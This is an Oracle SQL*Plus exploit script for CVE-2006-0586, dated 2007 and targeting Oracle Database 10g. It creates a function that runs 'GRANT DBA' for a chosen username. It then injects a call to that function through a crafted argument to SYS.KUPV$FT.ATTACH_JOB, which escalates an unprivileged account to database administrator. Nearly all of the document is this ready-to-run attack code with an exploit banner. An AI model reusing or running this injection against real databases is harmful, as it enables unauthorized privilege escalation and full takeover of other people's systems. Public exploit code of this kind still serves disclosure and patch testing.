-- 
-- kupv-ft_attach_job.sql
--
--
-- Oracle KUPV$FT.ATTACH_JOB exploit (10g)
--
-- Grant dba permission to unprivileged user
-- 
-- Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0"
-- 
--   REF:    http://www.red-database-security.com/
--   
--   AUTHOR: Andrea "bunker" Purificato
--           http://rawlab.mindcreations.com
--
--   DATE:   Copyright 2007 - Tue Mar 27 10:47:14 CEST 2007
-- 
--
set serveroutput on;
prompt [+] kupv-ft_attach_job.sql exploit (CVE-2006-0586)
prompt [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com
prompt [+] 37F1 A7A1 BB94 89DB A920  3105 9F74 7349 AF4C BFA2
prompt 
undefine the_user;
accept the_user char prompt 'Target username (default TEST): ' default 'TEST';
prompt
prompt [-] Building evil function...

CREATE OR REPLACE FUNCTION OWN RETURN NUMBER 
 AUTHID CURRENT_USER AS 
 PRAGMA AUTONOMOUS_TRANSACTION; 
BEGIN
 EXECUTE IMMEDIATE 'GRANT DBA TO &the_user'; COMMIT; 
 RETURN(0);
END;
/

prompt [-] Finishing...

DECLARE
 J BOOLEAN; 
 R NUMBER;
BEGIN
 R:=SYS.KUPV$FT.ATTACH_JOB('',''' AND 0='||user||'.own--',J);
END;
/

prompt [-] YOU GOT THE POWAH!!
